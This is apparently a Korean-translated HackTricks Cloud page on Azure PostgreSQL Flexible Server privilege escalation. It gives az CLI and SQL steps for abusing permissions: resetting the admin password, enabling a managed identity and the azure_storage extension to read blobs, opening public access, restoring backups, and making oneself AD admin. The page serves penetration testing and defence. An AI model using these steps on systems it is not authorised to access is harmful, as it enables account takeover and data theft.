Az - PostgreSQL Privesc
Reading time: 4 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
PostgreSQL Privesc
SQL Database에 대한 자세한 정보는 다음을 확인하세요:
Microsoft.DBforPostgreSQL/flexibleServers/read
&& Microsoft.DBforPostgreSQL/flexibleServers/write
이 권한을 사용하면 Azure에서 PostgreSQL Flexible Server 인스턴스를 생성, 업데이트 또는 삭제할 수 있습니다. 여기에는 새로운 서버 프로비저닝, 기존 서버 구성 수정 또는 서버 폐기가 포함됩니다.
az postgres flexible-server create \
--name <ServerName> \
--resource-group <ResourceGroupName> \
--location <Location> \
--admin-user <AdminUsername> \
--admin-password <AdminPassword> \
--sku-name <SkuName> \
--storage-size <StorageSizeInGB> \
--tier <PricingTier> \
--version <PostgreSQLVersion>
예를 들어, 이 권한은 PostgreSQL 비밀번호를 변경할 수 있게 해주며, 이는 PostgreSQL 인증이 활성화된 경우에 유용합니다.
az postgres flexible-server update \
--resource-group <resource_group_name> \
--name <server_name> \
--admin-password <password_to_update>
또한, 권한을 통해 할당된 ID를 활성화하고 서버에 연결된 관리 ID로 작업할 수 있습니다. 여기에서 Azure PostgreSQL 유연한 서버가 지원하는 모든 확장을 찾을 수 있습니다 https://learn.microsoft.com/en-us/azure/cosmos-db/postgresql/reference-extensions. 이러한 확장을 사용하려면 일부 서버 매개변수(azure.extensions)를 변경해야 합니다. 예를 들어 Azure Storage에 액세스할 수 있는 관리 ID와 함께 다음과 같이 합니다:
먼저 매개변수를 변경하고 할당된 ID가 활성화되어 있는지 확인합니다:
az postgres flexible-server parameter set \
--resource-group <YourResourceGroupName> \
--server-name <YourServerName> \
--name azure.extensions \
--value "AZURE_STORAGE"
az postgres flexible-server identity update \
--resource-group <YourResourceGroupName> \
--server-name <YourServerName> \
--system-assigned Enabled
CREATE EXTENSION IF NOT EXISTS azure_storage;
CREATE EXTERNAL DATA SOURCE ManagedIdentity
SELECT azure_storage.account_add('<storage-account>', '<storage-key>');
SELECT *
FROM azure_storage.blob_get(
'<storage-account>',
'<container>',
'message.txt',
decoder := 'text'
) AS t(content text)
LIMIT 1;
또한 비공식 엔드포인트에서 액세스하려면 공용 액세스를 활성화해야 합니다. 활성화하려면:
az postgres flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
Microsoft.DBforPostgreSQL/flexibleServers/read
, Microsoft.DBforPostgreSQL/flexibleServers/write
, Microsoft.DBforPostgreSQL/flexibleServers/backups/read
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
이 권한을 사용하면 다음을 통해 백업에서 서버를 복원할 수 있습니다:
az postgres flexible-server restore \
--resource-group <RESOURCE_GROUP> \
--name <NEW_SERVER_NAME> \
--source-server <SOURCE_SERVER_NAME> \
--restore-time "<ISO8601_TIMESTAMP>" \
--yes
Microsoft.DBforPostgreSQL/flexibleServers/read
, Microsoft.DBforPostgreSQL/flexibleServers/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.DBforPostgreSQL/flexibleServers/administrators/write
&& Microsoft.DBforPostgreSQL/flexibleServers/administrators/read
이 권한을 사용하면 PostgreSQL Flexible Server에 대한 Azure Active Directory (AD) 관리자를 구성할 수 있습니다. 이는 자신 또는 다른 계정을 AD 관리자으로 설정하여 PostgreSQL 서버에 대한 전체 관리 권한을 부여함으로써 악용될 수 있습니다. 기존 주체를 업데이트하는 것은 아직 지원되지 않으므로, 생성된 경우 먼저 삭제해야 합니다.
유연한 서버에 사용하기 위해 사용자 할당 관리 ID가 있는 것이 중요합니다.
az postgres flexible-server ad-admin create \
--resource-group <ResourceGroupName> \
--server-name <ServerName> \
--display-name <ADAdminDisplayName> \
--identity <IdentityNameOrID> \
--object-id <ObjectID>
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.